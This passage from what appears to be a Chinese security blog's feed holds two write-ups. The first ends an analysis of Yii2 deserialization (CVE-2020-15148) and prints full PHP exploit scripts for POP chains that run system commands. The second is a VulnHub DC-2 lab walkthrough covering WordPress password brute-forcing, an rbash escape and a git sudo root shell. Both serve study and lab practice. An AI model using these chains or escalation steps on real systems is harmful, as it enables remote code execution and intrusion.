constant">__toString</span> <span class="token operator">-></span> <span class="token property">saveXML</span><span class="token operator">-></span> <span class="token class-name class-name-fully-qualified static-context">Faker<span class="token punctuation">\</span>Generator</span><span class="token operator">::</span><span class="token function">__call</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">format</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">-></span> <span class="token function">call_user_func_array</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token class-name class-name-fully-qualified static-context"><span class="token punctuation">\</span>yii<span class="token punctuation">\</span>rest<span class="token punctuation">\</span>IndexAction</span><span class="token operator">::</span><span class="token constant">run</span> <span class="token operator">-></span> <span class="token function">call_user_func</span><span class="token punctuation">(</span><span class="token punctuation">)</span></code></pre><p>Exp</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token comment">// EXP: Swift_KeyCache_DiskKeyCache::__destruct -> __toString -> __call</span><span class="token keyword">namespace</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">use</span> <span class="token package">Codeception<span class="token punctuation">\</span>Util<span class="token punctuation">\</span>XmlBuilder</span><span class="token punctuation">;</span>    <span class="token keyword">use</span> <span class="token package">phpDocumentor<span class="token punctuation">\</span>Reflection<span class="token punctuation">\</span>DocBlock<span class="token punctuation">\</span>Tags<span class="token punctuation">\</span>Covers</span><span class="token punctuation">;</span>    <span class="token keyword">class</span> <span class="token class-name-definition class-name">Swift_KeyCache_DiskKeyCache</span><span class="token punctuation">&#123;</span>        <span class="token keyword">private</span> <span class="token variable">$path</span><span class="token punctuation">;</span>        <span class="token keyword">private</span> <span class="token variable">$keys</span><span class="token punctuation">;</span>        <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">keys</span> <span class="token operator">=</span> <span class="token keyword">array</span><span class="token punctuation">(</span>                <span class="token string double-quoted-string">"extrader"</span> <span class="token operator">=></span><span class="token keyword">array</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"is"</span><span class="token punctuation">,</span> <span class="token string double-quoted-string">"am"</span><span class="token punctuation">)</span>            <span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">//注意 ClearAll中的数组解析了两次，之后再unlink</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">path</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">XmlBuilder</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token variable">$payload</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Swift_KeyCache_DiskKeyCache</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">echo</span> <span class="token function">base64_encode</span><span class="token punctuation">(</span><span class="token function">serialize</span><span class="token punctuation">(</span><span class="token variable">$payload</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">namespace</span> <span class="token package">Codeception<span class="token punctuation">\</span>Util</span><span class="token punctuation">&#123;</span>    <span class="token keyword">use</span> <span class="token package">Faker<span class="token punctuation">\</span>Generator</span><span class="token punctuation">;</span>    <span class="token keyword">class</span> <span class="token class-name-definition class-name">XmlBuilder</span><span class="token punctuation">&#123;</span>        <span class="token keyword">protected</span> <span class="token variable">$__dom__</span><span class="token punctuation">;</span>        <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">__dom__</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Generator</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">namespace</span> <span class="token package">phpDocumentor<span class="token punctuation">\</span>Reflection<span class="token punctuation">\</span>DocBlock<span class="token punctuation">\</span>Tags</span><span class="token punctuation">&#123;</span>    <span class="token keyword">use</span> <span class="token package">Faker<span class="token punctuation">\</span>Generator</span><span class="token punctuation">;</span>    <span class="token keyword">class</span> <span class="token class-name-definition class-name">Covers</span><span class="token punctuation">&#123;</span>        <span class="token keyword">private</span> <span class="token variable">$refers</span><span class="token punctuation">;</span>        <span class="token keyword">protected</span> <span class="token variable">$description</span><span class="token punctuation">;</span>        <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">description</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Generator</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">refers</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"AnyStringisOK"</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">namespace</span> <span class="token package">yii<span class="token punctuation">\</span>rest</span><span class="token punctuation">&#123;</span>    <span class="token keyword">class</span> <span class="token class-name-definition class-name">IndexAction</span><span class="token punctuation">&#123;</span>        <span class="token keyword">public</span> <span class="token variable">$checkAccess</span><span class="token punctuation">;</span>        <span class="token keyword">public</span> <span class="token variable">$id</span><span class="token punctuation">;</span>        <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">checkAccess</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'system'</span><span class="token punctuation">;</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">id</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'whoami'</span><span class="token punctuation">;</span>           <span class="token comment">//command</span>            <span class="token comment">// run() -> call_user_func($this->checkAccess, $this->id);</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">namespace</span> <span class="token package">Faker</span><span class="token punctuation">&#123;</span>    <span class="token keyword">use</span> <span class="token package">yii<span class="token punctuation">\</span>rest<span class="token punctuation">\</span>IndexAction</span><span class="token punctuation">;</span>    <span class="token keyword">class</span> <span class="token class-name-definition class-name">Generator</span><span class="token punctuation">&#123;</span>        <span class="token keyword">protected</span> <span class="token variable">$formatters</span><span class="token punctuation">;</span>        <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">formatters</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'saveXML'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token keyword">new</span> <span class="token class-name">IndexAction</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'run'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></span></code></pre><p>发包，成功命令执行</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/Yii2%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E(CVE-2020-15148)%E5%88%86%E6%9E%90%E5%AD%A6%E4%B9%A0/image-20210513201308446.png" alt loading="lazy"></p><h3 id="2-0-42反序列化"><a href="#2-0-42反序列化" class="headerlink" title="2.0.42反序列化"></a>2.0.42反序列化</h3><p>202108月更新，补两条新利用链</p><h4 id="POP5"><a href="#POP5" class="headerlink" title="POP5"></a>POP5</h4><p>Exp：</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token keyword">namespace</span> <span class="token package">Faker</span><span class="token punctuation">;</span><span class="token keyword">class</span> <span class="token class-name-definition class-name">DefaultGenerator</span><span class="token punctuation">&#123;</span>    <span class="token keyword">protected</span> <span class="token variable">$default</span> <span class="token punctuation">;</span>    <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token variable">$argv</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">default</span> <span class="token operator">=</span> <span class="token variable">$argv</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">class</span> <span class="token class-name-definition class-name">ValidGenerator</span><span class="token punctuation">&#123;</span>    <span class="token keyword">protected</span> <span class="token variable">$generator</span><span class="token punctuation">;</span>    <span class="token keyword">protected</span> <span class="token variable">$validator</span><span class="token punctuation">;</span>    <span class="token keyword">protected</span> <span class="token variable">$maxRetries</span><span class="token punctuation">;</span>    <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token variable">$command</span><span class="token punctuation">,</span><span class="token variable">$argv</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">generator</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">DefaultGenerator</span><span class="token punctuation">(</span><span class="token variable">$argv</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">validator</span> <span class="token operator">=</span> <span class="token variable">$command</span><span class="token punctuation">;</span>        <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">maxRetries</span> <span class="token operator">=</span> <span class="token number">99999999</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">namespace</span> <span class="token package">Codeception<span class="token punctuation">\</span>Extension</span><span class="token punctuation">;</span><span class="token keyword">use</span> <span class="token package">Faker<span class="token punctuation">\</span>ValidGenerator</span><span class="token punctuation">;</span><span class="token keyword">class</span> <span class="token class-name-definition class-name">RunProcess</span><span class="token punctuation">&#123;</span>    <span class="token keyword">private</span> <span class="token variable">$processes</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token variable">$command</span><span class="token punctuation">,</span><span class="token variable">$argv</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">processes</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ValidGenerator</span><span class="token punctuation">(</span><span class="token variable">$command</span><span class="token punctuation">,</span><span class="token variable">$argv</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token variable">$exp</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">RunProcess</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'system'</span><span class="token punctuation">,</span><span class="token string single-quoted-string">'whoami'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">echo</span><span class="token punctuation">(</span><span class="token function">base64_encode</span><span class="token punctuation">(</span><span class="token function">serialize</span><span class="token punctuation">(</span><span class="token variable">$exp</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span></code></pre><p>pop链如下：</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token class-name class-name-fully-qualified static-context"><span class="token punctuation">\</span>Codeception<span class="token punctuation">\</span>Extension<span class="token punctuation">\</span>RunProcess</span><span class="token operator">::</span><span class="token function">__destruct</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">stopProcess</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token variable">$process</span><span class="token operator">-></span><span class="token function">isRunning</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token class-name class-name-fully-qualified static-context">Faker<span class="token punctuation">\</span>ValidGenerator</span><span class="token operator">::</span><span class="token function">__call</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">call_user_func_array</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">call_user_func</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token class-name class-name-fully-qualified static-context">Faker<span class="token punctuation">\</span>DefaultGenerator</span><span class="token operator">::</span><span class="token function">__call</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">default</span></code></pre><h4 id="POP6"><a href="#POP6" class="headerlink" title="POP6"></a>POP6</h4><p>Exp：</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token keyword">namespace</span> <span class="token package">yii<span class="token punctuation">\</span>rest</span><span class="token punctuation">&#123;</span>    <span class="token keyword">class</span> <span class="token class-name-definition class-name">IndexAction</span><span class="token punctuation">&#123;</span>        <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">checkAccess</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'system'</span><span class="token punctuation">;</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">id</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'whoami'</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">namespace</span> <span class="token package">Symfony<span class="token punctuation">\</span>Component<span class="token punctuation">\</span>String</span><span class="token punctuation">&#123;</span>    <span class="token keyword">use</span> <span class="token package">yii<span class="token punctuation">\</span>rest<span class="token punctuation">\</span>IndexAction</span><span class="token punctuation">;</span>    <span class="token keyword">class</span> <span class="token class-name-definition class-name">LazyString</span>    <span class="token punctuation">&#123;</span>        <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">value</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token keyword">new</span> <span class="token class-name">indexAction</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token string double-quoted-string">"run"</span><span class="token punctuation">]</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>     <span class="token keyword">class</span> <span class="token class-name-definition class-name">UnicodeString</span>    <span class="token punctuation">&#123;</span>        <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">value</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">LazyString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">namespace</span> <span class="token package">Faker</span><span class="token punctuation">&#123;</span>    <span class="token keyword">use</span> <span class="token package">Symfony<span class="token punctuation">\</span>Component<span class="token punctuation">\</span>String<span class="token punctuation">\</span>LazyString</span><span class="token punctuation">;</span>    <span class="token keyword">class</span> <span class="token class-name-definition class-name">DefaultGenerator</span>    <span class="token punctuation">&#123;</span>        <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">default</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">LazyString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">class</span> <span class="token class-name-definition class-name">UniqueGenerator</span>    <span class="token punctuation">&#123;</span>        <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">generator</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">DefaultGenerator</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">maxRetries</span> <span class="token operator">=</span> <span class="token number">99999999</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">namespace</span> <span class="token package">Codeception<span class="token punctuation">\</span>Extension</span><span class="token punctuation">&#123;</span>    <span class="token keyword">use</span> <span class="token package">Faker<span class="token punctuation">\</span>UniqueGenerator</span><span class="token punctuation">;</span>    <span class="token keyword">class</span> <span class="token class-name-definition class-name">RunProcess</span>    <span class="token punctuation">&#123;</span>        <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">processes</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">UniqueGenerator</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">namespace</span><span class="token punctuation">&#123;</span>    <span class="token keyword">use</span> <span class="token package">Codeception<span class="token punctuation">\</span>Extension<span class="token punctuation">\</span>RunProcess</span><span class="token punctuation">;</span>    <span class="token variable">$exp</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">RunProcess</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">echo</span><span class="token punctuation">(</span><span class="token function">base64_encode</span><span class="token punctuation">(</span><span class="token function">serialize</span><span class="token punctuation">(</span><span class="token variable">$exp</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span></span></code></pre><p>pop链如下：</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token class-name class-name-fully-qualified static-context"><span class="token punctuation">\</span>Codeception<span class="token punctuation">\</span>Extension<span class="token punctuation">\</span>RunProcess</span><span class="token operator">::</span><span class="token function">__destruct</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">stopProcess</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token variable">$process</span><span class="token operator">-></span><span class="token function">isRunning</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token class-name class-name-fully-qualified static-context">Faker<span class="token punctuation">\</span>UniqueGenerator</span><span class="token operator">::</span><span class="token function">__call</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">call_user_func_array</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">serialize</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token class-name class-name-fully-qualified static-context">Symfony<span class="token punctuation">\</span>Component<span class="token punctuation">\</span>String</span><span class="token operator">::</span><span class="token function">__sleep</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">::</span><span class="token function">__toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">::</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">value</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">)</span></code></pre><h3 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h3><ul><li>发现这几个pop链用来用去最后都是靠着<code>__call</code>方法来触发代码执行，代码审计的少，以后再遇到代码审计的问题可以多多考虑这一方面的东西</li><li>善于搜索，使用正则表达式，比如满足<code>\$this-&gt;(\w+)-&gt;(\w+)\(\)</code>这个正则的就可能可以触发<code>__call</code>方法</li><li>找链的开端可以尝试从<code>__destruct</code>入手，然后追链，追方法</li><li><code>call_user_func</code>中的<code>callback</code>可以是数组</li><li>整个pop链下来还是学到不少东西的，慢慢来吧</li></ul><h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><ul><li><a href="https://v0w.top/2020/09/22/Yii2unserialize/">Yii2 反序列化（CVE-2020-15148）学习笔记</a></li><li><a href="https://forum.butian.net/share/56">Yii反序列化漏洞复现到新利用链发现</a></li><li><a href="https://mp.weixin.qq.com/s/NHBpF446yKQbRTiNQr8ztA">CVE-2020-15148 Yii2反序列化RCE POP链分析</a></li><li><a href="https://www.anquanke.com/post/id/217930">我是如何挖掘yii2反序列化0day的</a></li></ul>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;Yii2介绍&quot;&gt;&lt;a href=&quot;#Yii2介绍&quot; class=&quot;headerlink&quot; title=&quot;Yii2介绍&quot;&gt;&lt;/a&gt;Yii2介绍&lt;/h3&gt;&lt;p&gt;Yii 是一个高性能，基于组件的 PHP 框架，用于快速开发现代 Web 应用程序。即可以用于开发各种用 P
      
    
    </summary>
    
    
      <category term="代码审计" scheme="https://www.extrader.top/categories/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
    
      <category term="代码审计" scheme="https://www.extrader.top/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
      <category term="php" scheme="https://www.extrader.top/tags/php/"/>
    
      <category term="反序列化" scheme="https://www.extrader.top/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
    
  </entry>
  
  <entry>
    <title>VulnHub-DC-2靶场练习</title>
    <link href="https://www.extrader.top/posts/ce8eed56/"/>
    <id>https://www.extrader.top/posts/ce8eed56/</id>
    <published>2021-05-02T13:45:30.000Z</published>
    <updated>2022-03-26T05:48:51.013Z</updated>
    
    <content type="html"><![CDATA[<p>靶机地址：192.168.99.150（DC-2）<a href="https://www.vulnhub.com/entry/dc-2,311/">链接</a></p><p>渗透机：192.168.99.188（Kali）</p><p>物理主机：192.168.99.107（Windows10）</p><p>目标：尽可能拿到更多的flag，有5个</p><p>nmap主机发现：</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-2/image-20210502172127928.png" alt loading="lazy"></p><p>访问80端口，发现是一个WordPress站点，首页有flag1，如下</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-2/image-20210502172310497.png" alt loading="lazy"></p><p>似乎是让我们对用户进行爆破，但常规的密码字典里可能没有我们所需要的密码，于是采用<code>Cewl</code>进行密码信息搜集</p><pre class="language-none"><code class="language-none">cewl http:&#x2F;&#x2F;dc-2&#x2F; -m 3 -d 3 -e -v -w wppass.txt-m 最小单词长度-d：爬网深度-e：收集包含email地址信息-v：Verbose模式，该模式下，Cewl会导出目标网站的详细数据-w：保存字典文件</code></pre><p>得到字典后使用wpscan对网站后台进行扫描测试</p><pre class="language-none"><code class="language-none">wpscan --url http:&#x2F;&#x2F;dc-2&#x2F; -e u -P &#x2F;home&#x2F;kali&#x2F;msf_exp&#x2F;wppass.txt-e: 枚举 u表示枚举用户-P: 爆破密码字典路径</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-2/image-20210502173058881.png" alt loading="lazy"></p><p>拿到两个用户的用户名和密码</p><pre class="language-none"><code class="language-none">Username: jerry, Password: adipiscingUsername: tom, Password: parturient</code></pre><p>登录后台，在page里拿到flag2</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-2/image-20210502173751322.png" alt loading="lazy"></p><p>找其它的切入点，前面nmap在0-1000的端口中只扫到了一个80端口，加大力度，改成0-10000</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-2/image-20210502174409458.png" alt loading="lazy"></p><p>扫到一个7744的ssh端口，tom用户连上使用wp的后台密码即可登录，jerry不行，可能不是这个密码，也可能jerry不允许ssh登录</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-2/image-20210502174816845.png" alt loading="lazy"></p><p>登录目录下找到flag3，less查看</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-2/image-20210502174852430.png" alt loading="lazy"></p><p>随后尝试很多命令用不了，当前目录下的usr目录也进不去，查看当前目录下所有文件，查看<code>.bash_history</code></p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-2/image-20210502175516495.png" alt loading="lazy"></p><p><code>ls -al usr/bin</code></p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-2/image-20210502175312778.png" alt loading="lazy"></p><p>有四个命令可以用，并且使用的是rbash，一个功能受限的bash，限制性可能会有如下</p><ul><li>使用命令cd更改目录</li><li>设置或者取消环境变量的设置（SHELL, PATH, ENV, or BASH_ENV）</li><li>指定包含参数<code>&#39;/&#39;</code>的文件名</li><li>指定包含参数<code>&#39; - &#39;</code>的文件名</li><li>使用重定向输出<code>&#39;&gt;&#39;, &#39;&gt;&gt;&#39;, &#39;&gt; |&#39;, &#39;&lt;&gt;&#39; &#39;&gt;&amp;&#39;,&#39;&amp;&gt;&#39;</code></li></ul><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-2/image-20210502193832294.png" alt loading="lazy"></p><p>使用scp绕过</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-2/image-20210502193742568.png" alt loading="lazy"></p><p>还可以这样</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-2/image-20210502200235932.png" alt loading="lazy"></p><p>也可以用vi，方法不唯一，搬张图，可参考文末的链接</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-2/image-20210502200311594.png" alt loading="lazy"></p><p>在jerry的用户目录下找到<code>flag4.txt</code></p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-2/image-20210502200512732.png" alt loading="lazy"></p><p><code>you&#39;re on your own now.  :-)</code>，线索<code>git</code></p><p>配置当前shell环境变量</p><pre class="language-none"><code class="language-none">export PATH&#x3D;$PATH:&#x2F;bin&#x2F;export PATH&#x3D;$PATH:&#x2F;usr&#x2F;bin</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-2/image-20210502211021164.png" alt loading="lazy"></p><p>大部分命令可用了</p><p>根据flag3的提示，su切换到jerry，密码就是上面的密码，<code>sudo -l</code>看看用户可以用sudo运行一些命令</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-2/image-20210502213404125.png" alt loading="lazy"></p><p>git可用，git提权</p><pre class="language-none"><code class="language-none">sudo git help config  在末行命令模式输入 !&#x2F;bin&#x2F;bash 或 !&#39;sh&#39;</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-2/image-20210502213732806.png" alt loading="lazy"></p><p>成功拿到最后的flag    </p><p><strong>参考：</strong></p><ul><li><a href="https://cloud.tencent.com/developer/article/1680551">RBash - 受限的Bash绕过</a></li><li><a href="https://www.const27.com/2021/03/12/Linux%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/">Linux 提权总结</a></li><li><a href="https://www.secpulse.com/archives/72965.html">利用通配符实现Linux本地提权</a></li></ul>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;靶机地址：192.168.99.150（DC-2）&lt;a href=&quot;https://www.vulnhub.com/entry/dc-2,311/&quot;&gt;链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;渗透机：192.168.99.188（Kali）&lt;/p&gt;
&lt;p&gt;物理主机：192.168.99.
      
    
    </summary>
    
    
      <category term="渗透" scheme="https://www.extrader.top/categories/%E6%B8%97%E9%80%8F/"/>
    
    
      <category term="靶机" scheme="https://www.extrader.top/tags/%E9%9D%B6%E6%9C%BA/"/>
    
  </entry>
  
  <entry>
    <title>VulnHub-DC-1靶场练习</title>
    <link href="https://www.extrader.top/posts/5787bcec/"/>
    <id>https://www.extrader.top/posts/5787bcec/</id>
    <published>2021-05-01T13:20:30.000Z</published>
    <updated>2022-03-26T05:48:51.012Z</updated>
    
